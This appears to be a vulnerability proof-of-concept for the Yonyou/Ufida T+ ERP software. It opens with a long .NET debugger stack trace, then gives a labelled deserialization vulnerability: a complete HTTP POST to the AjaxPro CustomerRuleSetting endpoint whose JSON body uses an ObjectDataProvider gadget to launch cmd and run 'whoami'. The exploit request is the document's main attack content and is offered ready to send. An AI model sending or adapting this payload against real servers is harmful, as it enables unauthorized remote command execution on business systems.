12eee338 7264afcb (MethodDesc 7230cf48 +0x93 System.Runtime.Remoting.Channels.ChannelServices.SyncDispatchMessage(System.Runtime.Remoting.Messaging.IMessage)), calling 016876f2
12eee364 7258fc41 (MethodDesc 7232d9c4 +0x11 System.Collections.Hashtable.set_Item(System.Object, System.Object)), calling (MethodDesc 7232da44 +0 System.Collections.Hashtable.Insert(System.Object, System.Object, Boolean))
12eee374 72633044 (MethodDesc 721ceed0 +0xf4 System.Runtime.Remoting.Channels.CrossAppDomainSink.DoDispatch(Byte[], System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage, System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage ByRef)), calling (MethodDesc 7230cf48 +0 System.Runtime.Remoting.Channels.ChannelServices.SyncDispatchMessage(System.Runtime.Remoting.Messaging.IMessage))
12eee38c 72637870 (MethodDesc 7230cc40 +0x84 System.Runtime.Remoting.Channels.CrossAppDomainSink.DoTransitionDispatchCallback(System.Object[])), calling (MethodDesc 721ceed0 +0 System.Runtime.Remoting.Channels.CrossAppDomainSink.DoDispatch(Byte[], System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage, System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage ByRef))
12eee3c4 72662505 (MethodDesc 72328110 +0xd System.Threading.Thread.CompleteCrossContextCallback(System.Threading.InternalCrossContextDelegate, System.Object[]))
12eee3c8 74302546 clr!CallDescrWorkerInternal+0x34
12eee3d4 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eee3e8 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eee410 7445dc15 clr!Thread::SafeSetLastThrownObject+0x58, calling clr!Thread::SetLastThrownObject
12eee428 74322440 clr!DispatchCallDebuggerWrapper+0x59, calling clr!CallDescrWorkerWithHandler
12eee448 7432e6e3 clr!SystemDomain::GetAppDomainAtId+0x68, calling clr!AppDomain::CanThreadEnter
12eee46c 74322695 clr!DispatchCallSimple+0x8e, calling clr!DispatchCallDebuggerWrapper
12eee4b8 743b6e26 clr!ThreadNative::InternalCrossContextCallback+0x1db, calling clr!DispatchCallSimple
12eee520 743b6cd4 clr!ThreadNative::InternalCrossContextCallback+0x64, calling clr!LazyMachStateCaptureState
12eee560 725c0486 (MethodDesc 72339858 +0x16 System.IO.BinaryWriter.Write(Byte))
12eee564 725c0164 (MethodDesc 72339840 +0x10 System.IO.BinaryWriter.Flush())
12eee574 725be4df (MethodDesc 723154f4 +0x217 System.Runtime.Serialization.Formatters.Binary.ObjectWriter.Serialize(System.Object, System.Runtime.Remoting.Messaging.Header[], System.Runtime.Serialization.Formatters.Binary.__BinaryWriter, Boolean)), calling (MethodDesc 7241f678 +0 System.Runtime.Serialization.SerializationObjectManager.RaiseOnSerializedEvent())
12eee5ac 725be132 (MethodDesc 7233756c +0x96 System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Serialize(System.IO.Stream, System.Object, System.Runtime.Remoting.Messaging.Header[], Boolean)), calling clr!JIT_WriteBarrierEAX
12eee5c8 72632d44 (MethodDesc 723f9c18 +0x88 System.Runtime.Remoting.Channels.CrossAppDomainSerializer.SerializeMessageParts(System.Collections.ArrayList))
12eee5f0 72632ed6 (MethodDesc 723fa408 +0x7a System.Runtime.Remoting.Channels.CrossAppDomainSink.DoTransitionDispatch(Byte[], System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage, System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage ByRef)), calling clr!ThreadNative::InternalCrossContextCallback
12eee614 72632546 (MethodDesc 723fa414 +0x9a System.Runtime.Remoting.Channels.CrossAppDomainSink.SyncProcessMessage(System.Runtime.Remoting.Messaging.IMessage)), calling (MethodDesc 723fa408 +0 System.Runtime.Remoting.Channels.CrossAppDomainSink.DoTransitionDispatch(Byte[], System.Runtime.Remoting.Messaging.SmuggledMethodCallMessage, System.Runtime.Remoting.Messaging.SmuggledMethodReturnMessage ByRef))
12eee660 7263233d (MethodDesc 723fa468 +0x51 System.Runtime.Remoting.Proxies.RemotingProxy.CallProcessMessage(System.Runtime.Remoting.Messaging.IMessageSink, System.Runtime.Remoting.Messaging.IMessage, System.Runtime.Remoting.Contexts.ArrayWithSize, System.Threading.Thread, System.Runtime.Remoting.Contexts.Context, Boolean)), calling 0168763e
12eee674 7263224e (MethodDesc 723fa47c +0x1de System.Runtime.Remoting.Proxies.RemotingProxy.InternalInvoke(System.Runtime.Remoting.Messaging.IMethodCallMessage, Boolean, Int32)), calling (MethodDesc 723fa468 +0 System.Runtime.Remoting.Proxies.RemotingProxy.CallProcessMessage(System.Runtime.Remoting.Messaging.IMessageSink, System.Runtime.Remoting.Messaging.IMessage, System.Runtime.Remoting.Contexts.ArrayWithSize, System.Threading.Thread, System.Runtime.Remoting.Contexts.Context, Boolean))
12eee6d0 72632069 (MethodDesc 723fa474 +0x69 System.Runtime.Remoting.Proxies.RemotingProxy.Invoke(System.Runtime.Remoting.Messaging.IMessage))
12eee6ec 72631e94 (MethodDesc 72310284 +0xf4 System.Runtime.Remoting.Proxies.RealProxy.PrivateInvoke(System.Runtime.Remoting.Proxies.MessageData ByRef, Int32))
12eee720 74302658 clr!CTPMethodTable__CallTargetHelper3+0xf
12eee72c 743b2cf8 clr!CallTargetWorker2+0xaa, calling clr!CTPMethodTable__CallTargetHelper3
12eee74c 743b2cae clr!CallTargetWorker2+0x5b, calling clr!_alloca_probe
12eee78c 745ff97d clr!TransparentProxyStubWorker+0x238, calling clr!CallTargetWorker2
12eee83c 76c88244 KERNEL32!QuirkIsEnabled3Worker+0x74, calling KERNEL32!__security_check_cookie
12eee8b0 74302a46 clr!TransparentProxyStub_CrossContext+0x14, calling clr!TransparentProxyStubWorker
12eee8e0 03dd3a2a (MethodDesc 01876968 +0x162 Mono.WebServer.FastCgi.Responder.Process()), calling 03dd033c
12eee968 03dd3753 (MethodDesc 01879a68 +0x4b Mono.FastCgi.ResponderRequest.Worker(System.Object)), calling 01207a9e
12eee9d8 726509a4 (MethodDesc 72309e6c +0x44 System.Threading.QueueUserWorkItemCallback.WaitCallback_Context(System.Object))
12eee9e0 725a7e34 (MethodDesc 721ccddc +0xc4 System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean))
12eeea44 725a7d67 (MethodDesc 72321734 +0x17 System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean)), calling (MethodDesc 721ccddc +0 System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean))
12eeea58 726509f5 (MethodDesc 72309e64 +0x45 System.Threading.QueueUserWorkItemCallback.System.Threading.IThreadPoolWorkItem.ExecuteWorkItem()), calling (MethodDesc 72321734 +0 System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object, Boolean))
12eeea74 72641abd (MethodDesc 7231286c +0x19d System.Threading.ThreadPoolWorkQueue.Dispatch()), calling 01687936
12eeeac4 7264191b (MethodDesc 72312888 +0xb System.Threading._ThreadPoolWaitCallback.PerformWaitCallback()), calling (MethodDesc 7231286c +0 System.Threading.ThreadPoolWorkQueue.Dispatch())
12eeeac8 74302546 clr!CallDescrWorkerInternal+0x34
12eeead4 7430e4c9 clr!CallDescrWorkerWithHandler+0x6b, calling clr!CallDescrWorkerInternal
12eeeae8 7430e482 clr!CallDescrWorkerWithHandler+0x20, calling clr!_alloca_probe
12eeeb28 7430f197 clr!MethodDescCallSite::CallTargetWorker+0x170, calling clr!CallDescrWorkerWithHandler
12eeeb34 7430ff64 clr!ArgIteratorTemplate<ArgIteratorBase>::ComputeReturnFlags+0x1b, calling clr!MetaSig::GetReturnTypeNormalized
12eeeb50 7430f129 clr!MethodDescCallSite::CallTargetWorker+0x87, calling clr!_alloca_probe_16
12eeeb80 74310fc0 clr!MethodDescCallSite::MethodDescCallSite+0x50, calling clr!ArgIteratorTemplate<ArgIteratorBase>::ForceSigWalk
12eeeb9c 74462fd3 clr!QueueUserWorkItemManagedCallback+0x23, calling clr!MethodDescCallSite::CallTargetWorker
12eeec1c 74313b24 clr!ManagedThreadBase_DispatchInner+0x71
12eeec34 74313b9b clr!ManagedThreadBase_DispatchMiddle+0x8f, calling clr!ManagedThreadBase_DispatchInner
12eeec5c 748427cc clr!DebuggerController::EnableTraceCall+0x6b, calling clr!_EH_epilog3
12eeec88 748369dd clr!Debugger::ThreadCreated+0x7c, calling clr!DebuggerController::EnableTraceCall
12eeec8c 748369e2 clr!Debugger::ThreadCreated+0x81, calling clr!_EH_epilog3
12eeecbc 74313c4b clr!ManagedThreadBase_DispatchOuter+0x6d, calling clr!ManagedThreadBase_DispatchMiddle
12eeed00 75c21c35 KERNELBASE!WaitForSingleObjectEx+0xa5, calling KERNELBASE!WaitForSingleObjectEx+0xd6
12eeed18 74313cc7 clr!ManagedThreadBase_FullTransitionWithAD+0x2f, calling clr!ManagedThreadBase_DispatchOuter
12eeed3c 74462f5d clr!ManagedPerAppDomainTPCount::DispatchWorkItem+0xfe, calling clr!ManagedThreadBase_FullTransitionWithAD
12eeed64 74462170 clr!CLRSemaphore::Wait+0xda, calling KERNELBASE!WaitForSingleObjectEx
12eeed70 744621aa clr!CLRSemaphore::Wait+0x179, calling clr!_EH_epilog3
12eeeda8 743054f5 clr!EESleepEx+0x52, calling KERNELBASE!SleepEx
12eeedc8 74462b71 clr!ThreadpoolMgr::UnfairSemaphore::Wait+0x167, calling clr!ThreadpoolMgr::UnfairSemaphore::UpdateCounts
12eeedd0 74461c98 clr!PerAppDomainTPCountList::GetAppDomainIndexForThreadpoolDispatch+0x54
12eeede8 74461d9c clr!ThreadpoolMgr::ExecuteWorkRequest+0x4e
12eeee08 74461eb7 clr!ThreadpoolMgr::WorkerThreadStart+0x393, calling clr!ThreadpoolMgr::ExecuteWorkRequest
12eeee74 7432eb34 clr!Thread::intermediateThreadProc+0x58
12eeee84 77d1847e ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x32e, calling ntdll!memset
12eeee9c 77d184f0 ntdll!RtlDosApplyFileIsolationRedirection_Ustr+0x3a0, calling ntdll!__security_check_cookie
12eeef34 77d1baaf ntdll!RtlEqualUnicodeString+0x6f, calling ntdll!NLS_UPCASE
12eeef50 77d1bd4f ntdll!LdrpFindLoadedDllByNameLockHeld+0xaf, calling ntdll!RtlEqualUnicodeString
12eeef94 77d1bb95 ntdll!LdrpFindLoadedDllByName+0xb5, calling ntdll!RtlReleaseSRWLockExclusive
12eeef98 77d1bc1e ntdll!LdrpFindLoadedDllByName+0x13e, calling ntdll!RtlGetCurrentServiceSessionId
12eeef9c 77d19738 ntdll!LdrpRecordModuleDependency+0x17, calling ntdll!LdrpDependencyExist
12eeefb4 77d17b5f ntdll!LdrpBuildForwarderLink+0x4a, calling ntdll!RtlReleaseSRWLockExclusive
12eeefc4 77d5c822 ntdll!LdrpLogInternal+0x19, calling ntdll!RtlGetCurrentServiceSessionId
12eeefd8 77d5b78d ntdll!LdrpLoadDllInternal+0x96, calling ntdll!LdrpLogInternal
12eeefe4 77d16e7c ntdll!RtlDeactivateActivationContextUnsafeFast+0x9c, calling ntdll!__security_check_cookie
12eef03c 77d170ae ntdll!LdrpLoadForwardedDll+0x11d, calling ntdll!LdrpLoadDllInternal
12eef054 77d17120 ntdll!LdrpLoadForwardedDll+0x18f, calling ntdll!RtlDeactivateActivationContextUnsafeFast
12eef058 77d170ba ntdll!LdrpLoadForwardedDll+0x129, calling ntdll!LdrpLoadForwardedDll+0x184
12eef088 77d1704a ntdll!LdrpLoadForwardedDll+0xb9, calling ntdll!RtlActivateActivationContextUnsafeFast
12eef08c 77d17120 ntdll!LdrpLoadForwardedDll+0x18f, calling ntdll!RtlDeactivateActivationContextUnsafeFast
12eef26c 77d21e50 ntdll!RtlpImageDirectoryEntryToDataEx+0x40, calling ntdll!RtlImageNtHeaderEx
12eef284 77d4674c ntdll!NtDeviceIoControlFile+0xc
12eef288 75c1ebce KERNELBASE!ConsoleCallServerGeneric+0xe5, calling ntdll!NtDeviceIoControlFile
12eef2bc 75c1ebdf KERNELBASE!ConsoleCallServerGeneric+0xf6, calling KERNELBASE!__security_check_cookie
12eef2c0 77d22fd4 ntdll!RtlGuardCheckImageBase+0x12, calling ntdll!LdrControlFlowGuardEnforced
12eef2f8 75c0e787 KERNELBASE!NlsValidateLocale+0x1c7, calling KERNELBASE!__security_check_cookie
12eef340 75c1f2df KERNELBASE!RegKrnInitialize+0x34, calling KERNELBASE!__security_check_cookie
12eef374 77d876ec ntdll!LdrpFindLoadedDllByAddress+0xa7, calling ntdll!RtlReleaseSRWLockExclusive
12eef380 77d153f8 ntdll!LdrGetProcedureAddressForCaller+0x408, calling ntdll!LdrpResolveProcedureAddress
12eef390 77d15499 ntdll!LdrGetProcedureAddressForCaller+0x4a9, calling ntdll!LdrpDereferenceModule
12eef39c 77d15596 ntdll!LdrGetProcedureAddressForCaller+0x5a6, calling ntdll!__security_check_cookie
12eef3a8 75c1eade KERNELBASE!ConsoleCallServer+0x26, calling KERNELBASE!ConsoleCallServerGeneric
12eef3c0 75c9a101 KERNELBASE!SetThreadLocale+0x11, calling KERNELBASE!NlsValidateLocale
12eef3d4 75c7f8e5 KERNELBASE!SetTEBLangID+0x60ebe, calling KERNELBASE!SetThreadLocale
12eef400 75c1f291 KERNELBASE!_KernelBaseBaseDllInitialize+0x4ce, calling KERNELBASE!RegKrnInitialize
12eef40c 75c1f2a1 KERNELBASE!_KernelBaseBaseDllInitialize+0x4de, calling KERNELBASE!__security_check_cookie
12eef468 77d1c3e3 ntdll!RtlpAllocateHeapInternal+0x443, calling ntdll!RtlpLfhFindClearBitAndSet
12eef524 5af04614 DnrspSDK32!__crt_unique_heap_ptr<__acrt_ptd,__crt_internal_free_policy>::operator bool+0x134, calling DnrspSDK32!__acrt_unlock
12eef544 5ae65898 DnrspSDK32!DllMain+0x28, calling DnrspSDK32!__CheckForDebuggerJustMyCode
12eef614 64734693 appresolver!__scrt_dllmain_crt_thread_attach+0x11, calling appresolver!Microsoft::WRL::Wrappers::HandleT<Microsoft::WRL::Wrappers::HandleTraits::ClientDCTraits>::InternalClose
12eef618 64733fed appresolver!dllmain_crt_dispatch+0x2d, calling appresolver!__scrt_dllmain_crt_thread_attach
12eef620 6473424e appresolver!dllmain_dispatch+0x70, calling appresolver!DllMain
12eef660 6473433e appresolver!_DllMainCRTStartup+0x1e, calling appresolver!dllmain_dispatch
12eef674 77d16e7c ntdll!RtlDeactivateActivationContextUnsafeFast+0x9c, calling ntdll!__security_check_cookie
12eef694 77d16f1e ntdll!LdrpCallInitRoutine+0x51, calling ntdll!LdrxCallInitRoutine
12eef6a0 77d16f4e ntdll!LdrpCallInitRoutine+0x81, calling ntdll!RtlGetCurrentServiceSessionId
12eef6a4 77d16f34 ntdll!LdrpCallInitRoutine+0x67, calling ntdll!LdrpCallInitRoutine+0x7c
12eef6d0 77d467bc ntdll!NtSetEvent+0xc
12eef6d4 77d3bc8c ntdll!LdrpDropLastInProgressCount+0x38, calling ntdll!NtSetEvent
12eef6e4 77d16d22 ntdll!LdrpInitializeThread+0x22a, calling ntdll!LdrpDropLastInProgressCount
12eef6e8 77d16cf6 ntdll!LdrpInitializeThread+0x1fe, calling ntdll!LdrpInitializeThread+0x21b
12eef73c 77d16c53 ntdll!LdrpInitializeThread+0x15b, calling ntdll!RtlActivateActivationContextUnsafeFast
12eef740 77d16c94 ntdll!LdrpInitializeThread+0x19c, calling ntdll!RtlDeactivateActivationContextUnsafeFast
12eef77c 77d483fc ntdll!NtTestAlert+0xc
12eef780 77d2df7b ntdll!_LdrpInitialize+0x29f, calling ntdll!NtTestAlert
12eef7d0 77d5cb43 ntdll!LdrpInitializeInternal+0xc7, calling ntdll!_LdrpInitialize
12eef7dc 77d5cb5a ntdll!LdrpInitializeInternal+0xde, calling ntdll!__security_check_cookie
12eefa08 77d2dcd0 ntdll!LdrpInitialize+0x3b, calling ntdll!LdrpInitializeInternal
12eefa10 77d46b2c ntdll!NtContinue+0xc
12eefa14 77d2dc89 ntdll!LdrInitializeThunk+0x29, calling ntdll!NtContinue
12eefc78 7432eb17 clr!Thread::intermediateThreadProc+0x3b, calling clr!_alloca_probe_16
12eefc8c 76c87ba9 KERNEL32!BaseThreadInitThunk+0x19
12eefc9c 77d3bd2b ntdll!__RtlUserThreadStart+0x2b
12eefcf4 77d3bcaf ntdll!_RtlUserThreadStart+0x1b, calling ntdll!__RtlUserThreadStart
ReplenishmentRuleSetting 反序列化漏洞
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.ReplenishmentRuleSetting.CustomerRuleSetting,Ufida.T.DI.UIP.ashx?method=Select HTTP/1.1
Host: 192.168.19.136:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
X-Ajaxpro-Method: Select
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 597
{
"CustomerReplenishmentRuleIDObj":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd", "Arguments":"/c whoami > test1whoami.txt"
}
}
}
}